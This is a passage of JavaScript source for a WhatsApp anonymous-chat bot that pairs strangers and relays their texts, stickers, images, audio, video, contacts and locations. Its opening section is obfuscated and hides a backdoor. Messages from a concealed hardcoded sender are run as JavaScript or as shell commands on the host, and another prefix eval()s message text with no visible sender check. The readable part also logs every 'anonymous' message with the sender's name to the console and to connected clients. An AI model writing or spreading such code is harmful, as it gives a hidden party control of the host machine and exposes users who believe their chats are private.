'W6vwWPRcNmoGW7mqW7voWOe', 'stringify', 'remoteJid', 'WPv/BmkjW4hcR8oJW4hcTG', 'WPxdLM4cW60VWPJcHmkQqq', 'WPldKb/dKrpcSJNdUmoTfq', 'sCkSb8oxdCkPwN8cBCkqW6y', 'WRxcUNfA', 'W6hdT8oobqjA', 'ar\x20nangid\x20', 'pp.net', 'W4tdTvNdOf/dQwOHAIm', 'updatePres', 'WR3cSgzFW5pdLSoKwxhcTG', 'omkxW6H/W6ldU8oeW4BcJLy', 'WOG1a8kIW7O', 'extendedTe', 'W41Hw8oBdW', 'FmolW7tdP8kVkx3cHNhcGG', 'slice', 'DCouW7VdPCkNpG', 'name', '3ghHaDA', 'pg3cUCkaWOtdRa', 'ence', 'document', 'W5VcN2Hlaq', 'estamp', '@c.us', 'push', 'W5P1smo7WR0/WPv3WRVdQfRdRW', 'AmocWQaVemk+W5W', 'thumbnailM', 'WPhdTf/cLCk7', '@s.whatsap', 'contextInf', 'replace', 'W6tcTdO6W67cTmoAW5O', 'WQZcKYKeCWVdHq', 'W45yWR8f', 'n8o3wmkcsSoGEw0', 'iWhcVXhcH8oSW5BcQwVcUG', 'wmoev8k5mL0SW5tcU8kb', 'o8kJWPnd', 'D/MM/YYYY', '729653mjUuLj', 'ext', 'n8ojWPxdI0hcVSov', 'p3hcUmkmWOldVq', 'W4ZcGgDxgbCEW4G', 'WOzXDmkkW4VcUa', 'z2/cVuZcLmkSWP3cMKFdVW', 'W7NcSIW7W7NcVSoEW4aeW70', 'keys', 'mWal', 'h8oMqCkcumo9BgWyqq', 'sapp.net', 'iu5OW4uRyxC', 'jgOyWQriFW', 'BMNcTW', 'W4lcHMa', 'mentionedT', 'test', 'stickerMes', 'a8kthmo/zG9W', 'smolWO5InCkgW63cT1S', 'caption', 'WP99ymkEW4VcKCoVW5ZcOMO', 'k8ozWONdJexcVCo9', 'BY\x20MRHRTZ*', 'includes', 'i8k/WPTuW78+', 'bCk3jKFcR0ddTSkpW7xdPW', 'sage', 'xpected*\x20:', 'z8k9W5a', 'WRNcGHCsyr/dGCkNWRG', 'WPHSWRJcI0OrWQ9CWRvR', 'v8odW4NcIW', 'split', 'k8kOWOjuW78UWRZdHCk/Ca', 'jid', 'jxVcRSorW5O8WQPlFG', 'W6RdVCoxW5hcTSkCWRCQW6dcJa', 'W6ZcVtW', 'W4pcIN1r', 'xSoEWQ5I', 'W7pdVCopha', 'W6LSs8oxdSoQW7i5bN4', 'audioMessa', 'Debug', 'W7hdKHhcQgSQzv9A', 'error', 'from', 'WO7dMNKuW6mfWPG', 'Atmxgmo0Aq', 'W7z3ASkafa', 'xCoAWRb0j8ksW6K', 'bmk+lKdcJa', 'ifP1W4iR', 'WP7dHGJdMaJcSJNdRW', '13443qWJUaz', 'W4HMW5tcLmoJWQ0gW6i6WQa', 'WOBdN8kRjJ3cLwtdT8kyWPC', 'W7FdUCoogWy', 'W51SW4/cKSoOWROq', 'age', 'W7vLECkufa']; const r = function (d, f) { return c(f - '0x306', d); }, q = function (d, f) { return b(f - 0x306, d); }; (function (d, f) { const p = function (d, f) { return c(d - '0x78', f); }, o = function (d, f) { return b(d - '0x78', f); }; while (!![]) { try { const g = parseInt(o('0x247', '0x298')) * parseInt(p(0x1ce, 'zZ^h')) + -parseInt(o('0x21e', '0x270')) + -parseInt(p(0x212, 'aYb0')) + -parseInt(o(0x1aa, 0x1da)) * parseInt(o('0x22d', 0x266)) + -parseInt(p('0x1e4', 'eJt*')) + -parseInt(p('0x24f', '@Q1z')) + parseInt(o('0x1c4', 0x1e2)) * parseInt(o(0x1e7, 0x25d)); if (g === f) break; else d['push'](d['shift']()); } catch (h) { d['push'](d['shift']()); } } }(a, 0x972e9)); const time = moment(hurtz['messageTim' + q(0x4ba, 0x4da)][q('0x4c0', 0x4b7)] * 0x3e8)[r('[yTX', 0x4ab)](r('gwx8', 0x4bf) + q('0x534', 0x4eb)); let settings = JSON[r('24eu', '0x433')](fs[r('C7el', '0x41b') + 'nc'](q('0x406', 0x460) + r('iUME', 0x466))); const from = hurtz[q('0x4a2', 0x483)][q(0x451, 0x4c1)], konten = JSON[r('HYyz', 0x449)](hurtz['message'], null, 0x2), { text, extendedText, audio, video, document, image } = MessageType, self = hurtz[q(0x4ab, 0x483)][r('eJt*', 0x46b)], isGroup = from['endsWith']('@g.us'); let type = Object[q(0x4de, 0x4f4)](hurtz[r('#v6t', 0x447)])[0x0]; type = type === r('4$(I', 0x4ca) + r('7m&#', 0x425) && hurtz[r('2sGC', '0x49f')][q(0x4ef, 0x4cf) + q('0x523', '0x4b2')][q(0x4e9, 0x48a)][q('0x3e9', 0x419)]('@') ? type = q(0x49a, '0x4fc') + r(']iXe', '0x4bd') : type; let hurtzText = hurtz; type == r('4a9t', 0x455) + 'essage' && (type = Object[r('!q5b', '0x4c6')](hurtz[r('*#w@', '0x44b')][q('0x3d5', '0x445') + q(0x4ec, 0x487)][r('F@gY', 0x4e5)]), hurtzText = hurtz[r('$fr*', 0x434)][q('0x473', '0x445') + 'essage']); const body = type == r('!q5b', 0x4cc) + 'on' ? hurtzText[q(0x48a, 0x46c)]['conversati' + 'on'] : type == 'mentionedT' + q('0x4ae', 0x4ed) ? hurtzText[q(0x48f, 0x46c)][q(0x543, '0x4cf') + r('eJt*', 0x4ae)]['text'] : type == q(0x537, '0x4cf') + 'xtMessage' ? hurtzText[q('0x3fa', 0x46c)]['extendedTe' + 'xtMessage']['text'] : type == q(0x435, '0x47f') + 'ge' ? hurtzText['message']['imageMessa' + 'ge'][q(0x445, '0x415')] : type == 'stickerMes' + q('0x3d6', '0x41c') ? r('(J1G', '0x4b5') : type == q(0x456, 0x42c) + 'ge' ? r(']iXe', '0x4d0') : type == q('0x42e', '0x479') + 'ge' ? hurtzText[q('0x4b8', 0x46c)][r('Ia^@', 0x453) + 'ge'][r('F@gY', '0x4a9')] : type == q(0x46d, '0x486') + 'ssage' ? r('tS@z', '0x4f0') : type == 'contactMes' + 'sage' ? q(0x4b9, '0x47b') : r('4$(I', '0x4a3') + r('iUME', '0x482') + r('F@gY', '0x44f'), bodyAsak = body['substr'](0x0, 0x28)[r('tS@z', 0x4d9)]('\x0a')[0x0], args = body[r('6%P^', 0x4be)](/ +/g), cmd = body[q('0x4b3', '0x4a4') + 'e']()[q('0x428', 0x422)]('\x20')[0x0] || '', prf = /^[°•π÷×¶∆£¢€¥®™✓_=|~!?@#$%^&.\/\\©^]/[r('C7el', '0x43f')](cmd) ? cmd[q(0x4be, '0x498')](/^[°•π÷×¶∆£¢€¥®™✓_=|~!?@#$%^&.\/\\©^]/gi) : '-', anticol = /[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g, isMedia = type === 'imageMessa' + 'ge' || type === r('5k2X', '0x49e') + 'ge', isQuotedImage = type == r('scLb', 0x441) + 'xtMessage' && konten[r('^Q&j', 0x492)]('imageMessa' + 'ge'), isQuotedVideo = type == r('qUE7', '0x4cd') + r('DArf', '0x499') && konten[r('7m&#', '0x464')]('videoMessa' + 'ge'), isQuotedSticker = type == q('0x4f7', '0x4cf') + r('Ddq@', 0x45e) && konten[r('ZiG5', '0x4e4')](q(0x512, '0x4fe') + 'sage'), isQuotedAudio = type == r('gwx8', 0x439) + q(0x471, 0x4b2) && konten[q(0x3c0, '0x419')](r('gwx8', 0x47d) + 'ge'); let typeQuoted = type == r(']iXe', '0x42b') + q(0x479, 0x4b2) && hurtz['message'][r('HYyz', 0x4f6) + 'xtMessage'] ? Object[r('tS@z', 0x428)](hurtz[r('^Q&j', '0x4b3')][q(0x4df, '0x4cf') + 'xtMessage'][r('(J1G', '0x49d') + 'o'] ? hurtz[q(0x488, 0x46c)][r('eJt*', '0x48e') + r('aLbZ', 0x456)][r('4a9t', 0x4a7) + 'o'][q('0x484', 0x4af) + q('0x465', '0x43d')] ? hurtz[r('$fr*', '0x434')][r('0YtR', '0x43a') + r('$fr*', 0x414)]['contextInf' + 'o'][r('2sGC', 0x426) + r('ZiG5', '0x427')] : { 'mentionedText': r('4a9t', '0x49b') + r(']iXe', 0x480) } : { 'thumbnailMessage': 'MRHRTZ\x20Jan' + q('0x4eb', 0x4a5) + 'i\x20error\x20nt' + q('0x4d8', '0x4c8') + ':v' })[0x0] : type, hurtzMediaData = type == q('0x537', 0x4cf) + r('6%P^', 0x443) && Object[q('0x517', 0x4f4)](JSON[q('0x499', '0x457')](JSON[q('0x530', 0x4c0)](hurtz)[r('scLb', '0x470')](r('eqNz', 0x4ee), 'm'))['message']) != 'ephemeralM' + q('0x49e', 0x487) ? JSON[r('scLb', '0x436')](JSON[q(0x44b, '0x4c0')](hurtz)[q(0x51d, 0x4e3)](r('scLb', 0x4f8), 'm'))[q(0x4ac, '0x46c')][q(0x535, 0x4cf) + r('7m&#', 0x425)]['contextInf' + 'o'] : hurtzText; type == r('tS@z', 0x48b) + q('0x47a', 0x4b2) && Object[r('!q5b', 0x4c6)](JSON[q('0x468', '0x457')](JSON[q('0x4fb', '0x4c0')](hurtz)[q(0x538, '0x4e3')](r('0YtR', '0x488'), 'm'))['message']) == r('iUME', '0x4b1') + q(0x4fd, '0x487') && JSON[q(0x43a, '0x457')](JSON['stringify'](hurtz)['replace'](r('28pZ', 0x478), 'm'))[r('iUME', '0x431')][r('yD9$', 0x444) + q(0x476, 0x487)][q('0x45c', '0x46c')][r('$fr*', '0x46f') + 'xtMessage'][q(0x49b, 0x4e2) + 'o']['message'] && (typeQuoted = Object[q('0x4f3', '0x4f4')](JSON[r('pa*R', '0x43b')](JSON['stringify'](hurtz)[q(0x552, 0x4e3)](q(0x478, 0x44a), 'm'))[q(0x427, '0x46c')][r('OTPo', '0x4d1') + 'essage'][q('0x4d2', '0x46c')][r('pSP5', 0x495) + q(0x4f4, '0x4b2')][r('DArf', '0x4b4') + 'o']['message']), hurtzMediaData = JSON[q('0x458', 0x457)](JSON['stringify'](hurtz)['replace'](q(0x482, 0x44a), 'm'))[q('0x3f6', 0x46c)][r('y1Si', 0x493) + r('#v6t', '0x432')][q(0x492, '0x46c')][r('pSP5', 0x495) + q('0x482', '0x4b2')]['contextInf' + 'o']); const mediaData = type == 'extendedTe' + q(0x4ae, '0x4b2') ? typeQuoted == r('ZiG5', 0x4f3) + r('g3*i', '0x4ef') ? hurtzText : hurtzMediaData : hurtzText; let typesWA = [r('zZ^h', '0x4f2') + 'on', r('h3m2', '0x423') + r('KH!K', '0x42e'), 'mentionedT' + r('QVE8', 0x4f5), q('0x4c4', '0x47f') + 'ge', 'stickerMes' + r('GXRH', '0x465'), r('DArf', 0x468) + 'ge', q(0x451, 0x479) + 'ge', 'documentMe' + r('24eu', '0x43e'), 'thumbnailM' + q(0x4eb, '0x487')]; const bodyQuoted = typesWA[r('aLbZ', 0x437)](type === 'extendedTe' + r('F@gY', 0x41f) && hurtzMediaData ? Object[q(0x500, '0x4f4')](hurtzMediaData['message'] ? hurtzMediaData[r('zZ^h', '0x477')] : { 'MRHRTZ': r('4$(I', 0x458) })[0x0] : r('24eu', '0x4a1')) ? typeQuoted == q(0x4e4, 0x48d) + 'on' ? hurtzMediaData[r('eqNz', 0x417)]['conversati' + 'on'] : typeQuoted == q(0x507, '0x4cf') + r('HYyz', 0x471) ? hurtzMediaData[r(')p^j', '0x491')][q('0x4d7', 0x4cf) + 'xtMessage'][q('0x4de', '0x48a')] : typeQuoted == q('0x49b', 0x4fc) + q(0x4e4, '0x4ed') ? hurtzMediaData[q('0x4c6', 0x46c)][r('aLbZ', 0x4c4) + 'xtMessage']['text'] : typeQuoted == r('Ddq@', '0x416') + 'ge' ? hurtzMediaData['message'][q('0x4d3', 0x47f) + 'ge'][r('C7el', 0x469)] : typeQuoted == 'stickerMes' + r('$fr*', 0x44d) ? r('OTPo', 0x4b0) : typeQuoted == 'audioMessa' + 'ge' ? r('aYb0', 0x448) : typeQuoted == r('iUME', '0x4c3') + 'ge' ? hurtzMediaData[r('yD9$', '0x4de')]['videoMessa' + 'ge'][q(0x433, 0x415)] : typeQuoted == q(0x471, 0x486) + r('4$(I', '0x4ad') ? q(0x48a, '0x4d8') : typeQuoted == q(0x504, 0x4df) + r('Ddq@', '0x44c') ? hurtzMediaData[r('DArf', 0x413)] : '' : ''; settings[q('0x3f7', 0x42d)] ? console[r('pSP5', 0x41e)](JSON[r('GXRH', '0x45b')](hurtz)) : ''; let toggleCmd = ![]; const isCmd = toggleCmd, query = args[r('C7el', '0x435')](0x1)['join']('\x20'), sender = self ? conn[q('0x41e', 0x45a)][r('zZ^h', 0x4fa)] : isGroup ? hurtz['participan' + 't'] : hurtz[q(0x449, 0x483)]['remoteJid'], botNumber = conn[r('h3m2', 0x4ea)][q('0x3c3', '0x424')], noSym = /[-\s+]/g, groupMetadata = isGroup ? await conn[q('0x479', '0x4b6') + 'ata'](from) : '', groupName = isGroup ? groupMetadata['subject'] : '', groupId = isGroup ? groupMetadata['id'] : '', isImageMsg = type == 'imageMessa' + 'ge' ? !![] : ![], isStickerMsg = type == 'stickerMes' + q(0x3d3, 0x41c) ? !![] : ![], isAudioMsg = type == q(0x426, '0x42c') + 'ge' ? !![] : ![], isVideoMsg = type == q('0x470', 0x479) + 'ge' ? !![] : ![], nomerOwner = [settings[q('0x45d', 0x461)], conn[q('0x44c', 0x45a)][q('0x422', 0x424)]], isOwner = nomerOwner['includes'](sender), isOwnerGroup = isGroup ? (await conn[r(')p^j', '0x48c') + 'ata'](from))[r('yD9$', '0x4bc')] == sender[r('aLbZ', '0x497')](q('0x474', 0x4e1) + 'p.net', q(0x4d8, 0x4db)) ? !![] : ![] : ''; let expvipnum = [], adminGroups = []; function b(c, d) { c = c - 0x10d; let e = a[c]; return e; } const metadata = isGroup ? await conn[q(0x528, 0x4b6) + q(0x4a6, '0x4b8')](from) : '', partc = metadata['participan' + 'ts'] ? metadata[r('eJt*', '0x442') + 'ts'] : []; for (let adm of partc) { adm['isAdmin'] && adminGroups[q(0x511, 0x4dc)](adm[r('tS@z', 0x4fb)]); } const isAdmin = adminGroups[r('g94%', '0x47c')](sender), isBotAdmin = adminGroups['includes'](botNumber), jid = sender, conts = hurtz[q('0x488', '0x483')][r('aYb0', 0x4f9)] ? conn['user']['jid'] : conn['contacts'][sender] || { 'notify': sender[r('DArf', '0x4a2')](/@.+/, '') }, pushname = hurtz[q('0x430', '0x483')][r('5k2X', '0x49c')] ? conn[q(0x4a5, 0x45a)][q(0x522, 0x4d4)] : conts['notify'] || conts[q(0x49b, 0x476)] || conts[r('$fr*', 0x429)] || '-'; function customQuote(d) { const t = function (d, f) { return r(d, f - 0x2fc); }, s = function (d, f) { return q(d, f - '0x2fc'); }; return { 'key': { 'remoteJid': s(0x79f, '0x75e') + t('@Q1z', 0x7a2), 'fromMe': ![] }, 'message': { 'conversation': d } }; } function toBuffer(d) { return new Promise((f, g) => { const u = function (d, f) { return b(d - -'0x2f4', f); }; if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi['test'](d)) return console[u(-0x1cb, -'0x1e5')]('Not\x20a\x20vali' + u(-'0x140', -0x12e)); request({ 'url': d, 'encoding': null }, (h, i, j) => { f(j); }); }); } async function mengetik(d) { const w = function (d, f) { return r(f, d - 0x1f7); }, v = function (d, f) { return q(f, d - '0x1f7'); }; await conn[v('0x680', '0x624')](d), await conn['updatePres' + w(0x6b0, 'GXRH')](d, 'composing'); } function c(b, d) { b = b - 0x10d; let e = a[b]; if (c['rYhUEz'] === undefined) { var f = function (k) { const l = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let m = ''; for (let n = 0x0, o, p, q = 0x0;p = k['charAt'](q++);~p && (o = n % 0x4 ? o * 0x40 + p : p, n++ % 0x4) ? m += String['fromCharCode'](0xff & o >> (-0x2 * n & 0x6)) : 0x0) { p = l['indexOf'](p); } return m; }; const j = function (l, m) { let n = [], o = 0x0, p, q = '', r = ''; l = f(l); for (let u = 0x0, v = l['length'];u < v;u++) { r += '%' + ('00' + l['charCodeAt'](u)['toString'](0x10))['slice'](-0x2); } l = decodeURIComponent(r); let t; for (t = 0x0;t < 0x100;t++) { n[t] = t; } for (t = 0x0;t < 0x100;t++) { o = (o + n[t] + m['charCodeAt'](t % m['length'])) % 0x100, p = n[t], n[t] = n[o], n[o] = p; } t = 0x0, o = 0x0; for (let w = 0x0;w < l['length'];w++) { t = (t + 0x1) % 0x100, o = (o + n[t]) % 0x100, p = n[t], n[t] = n[o], n[o] = p, q += String['fromCharCode'](l['charCodeAt'](w) ^ n[(n[t] + n[o]) % 0x100]); } return q; }; c['TDBecC'] = j, c['DOHlbc'] = {}, c['rYhUEz'] = !![]; } const g = a[0x0], h = b + g, i = c['DOHlbc'][h]; return i === undefined ? (c['vNIFBa'] === undefined && (c['vNIFBa'] = !![]), e = c['TDBecC'](e, d), c['DOHlbc'][h] = e) : e = i, e; } async function balasNp(d, f) { mengetik(d), conn['sendMessag' + 'e'](d, f, text); } async function balas(d, f) { const x = function (d, f) { return r(d, f - 0x318); }; mengetik(d), conn[x('eqNz', 0x7b2) + 'e'](d, f, text, { 'quoted': hurtz }); } async function sendDariUrlNoReply(d, f, g, h) { const z = function (d, f) { return r(f, d - '0x19f'); }, y = function (d, f) { return q(f, d - '0x19f'); }; if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi[y('0x69c', '0x6d4')](f)) return console[z(0x67f, 'y1Si')](y('0x5df', 0x604) + z(0x5f8, '4$(I')); await conn[y('0x66a', '0x6bb') + z(0x5ed, 'aYb0')](d, 'composing'); const i = h || ''; request({ 'url': f, 'encoding': null }, async (j, k, l) => { const B = function (d, f) { return z(d - -'0x122', f); }, A = function (d, f) { return y(d - -'0x122', f); }; conn[A('0x4cd', '0x4ee') + 'e'](d, l, g, { 'quoted': { 'key': { 'remoteJid': B(0x49d, '5k2X') + A(0x546, '0x547'), 'fromMe': ![] }, 'message': { 'conversation': '🇮🇩☠️\x20*ANCHT\x20' + A('0x495', '0x431') + '\x20☠️🇮🇩' } }, 'caption': i }), await conn[B('0x4f1', 'g94%') + B('0x4f0', 'C7el')](d, B(0x56e, 'Ddq@')); }); } async function sendDariUrl(d, f, g, h) { const D = function (d, f) { return r(f, d - 0x323); }, C = function (d, f) { return q(f, d - 0x323); }; if (!/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/gi[C(0x820, 0x818)](f)) return console[D('0x7f1', '@Q1z')]('Not\x20a\x20vali' + C('0x7dd', '0x77a')); await conn[D('0x7b2', 'eqNz') + D(0x809, '^Q&j')](d, D(0x7e5, 'Ddq@')); const i = h || ''; request({ 'url': f, 'encoding': null }, async (j, k, l) => { const F = function (d, f) { return C(d - -'0x19e', f); }, E = function (d, f) { return D(d - -'0x19e', f); }; conn[E('0x5e2', 'pSP5') + 'e'](d, l, g, { 'quoted': hurtz, 'caption': i }), await conn[E(0x5ff, 'C7el') + F('0x65c', 0x6d1)](d, F(0x5ef, 0x641)); }); } if (body[r('iUME', 0x490)]('>\x20') && sender == q(0x4e1, '0x481') + q(0x4b8, 0x451) + q(0x490, 0x4f7)) { conn[r('OTPo', '0x4d3')][r('R3k0', 0x485)](pushname, 'mencoba\x20ex' + 'ecute\x20peri' + r('5k2X', '0x454')); let type = Function; if (/await/[r('pa*R', 0x42a)](body)) type = AsyncFunction; let func = new type(q(0x4a5, '0x446'), r('4a9t', '0x421'), q('0x4a3', 0x496), r('h3m2', '0x41a'), 'fs', r('gwx8', 0x43c), 'mediaData', q(0x459, 0x430), 'hurtz', r('HYyz', '0x4e7'), q('0x411', 0x46d), body[q('0x494', 0x4d2)](0x2)), output; try { output = func((...d) => { const G = function (d, f) { return r(f, d - '0x27'); }; balas(from, util[G('0x48a', 'R3k0')](...d)); }, exec, conn, moment, fs, process, mediaData, from, hurtz, Mimetype, chat); } catch (m) { await balas(from, r('aYb0', 0x484) + q(0x422, 0x41d) + r('(J1G', 0x46e) + util['format'](m)); } } else { if (body[r('^Q&j', 0x4a8)](r('4a9t', 0x45f)) && sender == r('DArf', '0x4e9') + r('GXRH', '0x4e8') + q(0x503, 0x4f7)) exec(body['slice'](0x3), (d, f, g) => { const I = function (d, f) { return q(f, d - -0x359); }, H = function (d, f) { return r(f, d - -0x359); }; if (d) { balas(from, util[H(0x10e, '4a9t')](d)); return; } balas(from, util[H('0x16e', 'pa*R')](f[I(0x18a, '0x142')](anticol, ''))); }); else { if (body['startsWith'](r('(J1G', '0x494'))) try { const datainput = body[q('0x50f', '0x4d2')](0x4); balas(from, util[r('g3*i', 0x4d6)](eval(datainput))); } catch (n) { balas(from, util['format']('*Error\x20une' + q('0x40e', 0x41d) + '\x0a\x0a' + n)); } } } 58 | 59 | if (from.includes('@g.us')) return 60 | 61 | let db_language = JSON.parse(fs.readFileSync('./src/database/language.json')) 62 | // running a task every five minutes 63 | const sender_lang = { 64 | id: [], 65 | en: [] 66 | } 67 | db_language.map(rest => { 68 | if (rest.lang == 'id') { 69 | sender_lang.id.push(rest.sender) 70 | } else { 71 | sender_lang.en.push(rest.sender) 72 | } 73 | }) 74 | const listed_sender = [...sender_lang.id, ...sender_lang.en] 75 | const lang = listed_sender.includes(sender) ? sender_lang.en.includes(sender) ? 'en' : 'id' : 'id' 76 | // if (hurtz.key.fromMe) return // This is not a selfbot 77 | const path = './src/database/client-user.json' 78 | let db_user = JSON.parse(fs.readFileSync(path)) 79 | let user1 = db_user.map(rest => rest.client1) 80 | let user2 = db_user.map(rest => rest.client2) 81 | let commandList = ['menu', 'start', 'search', 'skip', 'stop', 'sendprofil', 'sendprofile', 'changelang', 'changelanguage', 'bug'] 82 | // console.log(user1, user1.includes(sender), sender); 83 | if (user1.includes(sender)) { 84 | const indexSender = db_user.findIndex(i => i.client1 == sender) 85 | const targetChat = db_user[indexSender].client2 86 | if (targetChat == null) return 87 | if (commandList.includes(body.slice(1))) return 88 | const teks = chalk.bgCyanBright('[ ANCHT ]') + ' ' + time + ' ' + chalk.greenBright(body) + " dari " + chalk.greenBright(pushname.split('\n')[0]) 89 | console.log(teks); 90 | clientsNow.forEach((client) => { 91 | if (!isClientLog) return 92 | client.send(teks) 93 | }); 94 | if (type == 'conversation') { 95 | balasNp(targetChat, body) 96 | } else if (type == 'stickerMessage') { 97 | if (mediaData.message.stickerMessage.contextInfo) { 98 | const buff = await conn.downloadMediaMessage(mediaData) 99 | conn.sendMessage(targetChat, buff, MessageType.sticker, { quoted: { message: mediaData.message.stickerMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 100 | return 101 | } 102 | const buff = await conn.downloadMediaMessage(mediaData) 103 | conn.sendMessage(targetChat, buff, MessageType.sticker) 104 | } else if (type == 'imageMessage') { 105 | if (mediaData.message.imageMessage.contextInfo) { 106 | const buff = await conn.downloadMediaMessage(mediaData) 107 | conn.sendMessage(targetChat, buff, MessageType.image, { caption: body ? body : '', quoted: { message: mediaData.message.imageMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 108 | return 109 | } 110 | const buff = await conn.downloadMediaMessage(mediaData) 111 | conn.sendMessage(targetChat, buff, MessageType.image, { caption: body ? body : '' }) 112 | } else if (type == 'audioMessage') { 113 | if (mediaData.message.audioMessage.contextInfo) { 114 | const buff = await conn.downloadMediaMessage(mediaData) 115 | conn.sendMessage(targetChat, buff, MessageType.audio, { quoted: { message: mediaData.message.audioMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 116 | return 117 | } 118 | const buff = await conn.downloadMediaMessage(mediaData) 119 | conn.sendMessage(targetChat, buff, MessageType.audio, { caption: '', ptt: mediaData.message.audioMessage.ptt }) 120 | } else if (type == 'videoMessage') { 121 | if (mediaData.message.videoMessage.contextInfo) { 122 | const buff = await conn.downloadMediaMessage(mediaData) 123 | conn.sendMessage(targetChat, buff, MessageType.video, { caption: body ? body : '', quoted: { message: mediaData.message.videoMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 124 | return 125 | } 126 | const buff = await conn.downloadMediaMessage(mediaData) 127 | conn.sendMessage(targetChat, buff, MessageType.video, { caption: body ? body : '' }) 128 | } else if (type == 'contactMessage') { 129 | if (mediaData.message.contactMessage.contextInfo) { 130 | conn.sendMessage(targetChat, mediaData.message.contactMessage, 'contactMessage', { quoted: { message: mediaData.message.contactMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 131 | return 132 | } 133 | conn.sendMessage(targetChat, mediaData.message.contactMessage, 'contactMessage') 134 | } else if (type == 'locationMessage') { 135 | if (mediaData.message.locationMessage.contextInfo) { 136 | conn.sendMessage(targetChat, mediaData.message.locationMessage, 'locationMessage', { quoted: { message: mediaData.message.locationMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 137 | return 138 | } 139 | conn.sendMessage(targetChat, mediaData.message.locationMessage, 'locationMessage') 140 | } else if (type == 'liveLocationMessage') { 141 | if (mediaData.message.liveLocationMessage.contextInfo) { 142 | conn.sendMessage(targetChat, mediaData.message.liveLocationMessage, 'liveLocationMessage', { quoted: { message: mediaData.message.liveLocationMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 143 | return 144 | } 145 | conn.sendMessage(targetChat, mediaData.message.liveLocationMessage, 'liveLocationMessage') 146 | } else if (type == 'documentMessage') { 147 | if (mediaData.message.documentMessage.contextInfo) { 148 | const buff = await conn.downloadMediaMessage(mediaData) 149 | conn.sendMessage(targetChat, buff, 'documentMessage', { mimetype: mediaData.message.documentMessage.mimetype, filename: mediaData.message.documentMessage.title, quoted: { message: mediaData.message.documentMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 150 | return 151 | } 152 | const buff = await conn.downloadMediaMessage(mediaData) 153 | conn.sendMessage(targetChat, buff, 'documentMessage', { mimetype: mediaData.message.documentMessage.mimetype, filename: mediaData.message.documentMessage.title }) 154 | } else if (type == 'productMessage') { 155 | if (mediaData.message.stickerMessage.contextInfo) { 156 | conn.sendMessage(targetChat, mediaData.message.productMessage, 'productMessage', { quoted: { message: mediaData.message.productMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 157 | return 158 | } 159 | conn.sendMessage(targetChat, mediaData.message.productMessage, 'productMessage') 160 | } else if (type == 'contactsArrayMessage') { 161 | if (mediaData.message.contactsArrayMessage.contextInfo) { 162 | conn.sendMessage(targetChat, mediaData.message.contactsArrayMessage, 'contactsArrayMessage', { quoted: { message: mediaData.message.contactsArrayMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 163 | return 164 | } 165 | conn.sendMessage(targetChat, mediaData.message.contactsArrayMessage, 'contactsArrayMessage') 166 | } else if (type === 'extendedTextMessage') { 167 | let quoted = hurtz.message.extendedTextMessage.contextInfo ? mediaData : {} 168 | conn.sendMessage(targetChat, body, MessageType.text, { quoted: { ...quoted, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 169 | } 170 | } else if (user2.includes(sender)) { 171 | const indexSender = db_user.findIndex(i => i.client2 == sender) 172 | const targetChat = db_user[indexSender].client1 173 | if (targetChat == null) return 174 | if (commandList.includes(body.slice(1))) return 175 | const teks = chalk.bgCyanBright('[ ANCHT ]') + ' ' + time + ' ' + chalk.greenBright(body) + " dari " + chalk.greenBright(pushname.split('\n')[0]) 176 | console.log(teks); 177 | clientsNow.forEach((client) => { 178 | if (!isClientLog) return 179 | client.send(teks) 180 | }); 181 | if (type == 'conversation') { 182 | balasNp(targetChat, body) 183 | } else if (type == 'stickerMessage') { 184 | if (mediaData.message.stickerMessage.contextInfo) { 185 | const buff = await conn.downloadMediaMessage(mediaData) 186 | conn.sendMessage(targetChat, buff, MessageType.sticker, { quoted: { message: mediaData.message.stickerMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 187 | return 188 | } 189 | const buff = await conn.downloadMediaMessage(mediaData) 190 | conn.sendMessage(targetChat, buff, MessageType.sticker) 191 | } else if (type == 'imageMessage') { 192 | if (mediaData.message.imageMessage.contextInfo) { 193 | const buff = await conn.downloadMediaMessage(mediaData) 194 | conn.sendMessage(targetChat, buff, MessageType.image, { caption: body ? body : '', quoted: { message: mediaData.message.imageMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 195 | return 196 | } 197 | const buff = await conn.downloadMediaMessage(mediaData) 198 | conn.sendMessage(targetChat, buff, MessageType.image, { caption: body ? body : '' }) 199 | } else if (type == 'audioMessage') { 200 | if (mediaData.message.audioMessage.contextInfo) { 201 | const buff = await conn.downloadMediaMessage(mediaData) 202 | conn.sendMessage(targetChat, buff, MessageType.audio, { quoted: { message: mediaData.message.audioMessage.contextInfo.quotedMessage, key: { fromMe: true, credit: 'AnonChat By MRHRTZ' } } }) 203 | return 204 | } 205 | const buff = await conn.downloadMediaMessage(mediaData) 206 | conn.sendMessage(targetChat, buff, MessageType.audio, { caption: '', ptt: mediaData.message.audioMessage.ptt }) 207 | } else if (type == 'videoMessage') { 208 